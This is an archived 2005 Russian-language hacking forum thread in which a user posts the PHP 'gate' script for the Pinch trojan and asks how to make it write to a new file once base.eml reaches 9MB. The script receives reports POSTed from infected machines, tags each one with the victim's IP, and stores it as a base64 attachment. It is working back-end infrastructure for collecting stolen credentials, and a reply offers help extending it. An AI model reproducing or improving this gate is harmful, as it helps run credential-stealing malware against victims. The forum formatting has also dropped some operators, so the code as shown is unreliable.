Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Пинч Гэит (https://forum.antichat.xyz/showthread.php?t=9509)

x_Lex 18.09.2005 02:54

Пинч Гэит
 
Пмогите пожалуйсто.
Этот гэйт сохроняет отчеты в письмо base.eml (этакая база данных) как мне сделать чтоб скрипт при размере файла (base.eml)9мб продолжал запись в base1.eml base2.eml base3.eml base4.eml и т.д.
Спасибо за внемание


PHP код:

<?
$ip
=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg=$_POST['c'];
if (
$msg<>''){
$tmp $msg;
$msg=eregi_replace(" ","+",$tmp);
$var $ip " - " rand(0,9) . rand(0,9) . rand(0,9) . ".bin";
$var2 "\n\n";
$headers "--NextPart\n";
$headers .= "Content-Type: application/octet-stream; name=\"".$var."\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"".$var."\"\n\n";

@
$pfp1 fopen('base.eml'"r" );
$ds=@fread ($pfp1filesize('base.eml'));
@
fclose($pfp1);

@
$pfp1 fopen('base.eml'"w+" );
@
fputs ($pfp1$ds);
@
fputs ($pfp1$var2);
@
fputs ($pfp1$headers);
@
fputs ($pfp1$msg);
@
fclose($pfp1);
};
?>

<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>


nerezus 18.09.2005 10:12

А не легче ли сделать имя файла зависимым от даты?
http://forum.blacklogic.net/index.php?showtopic=1013


Время: 08:54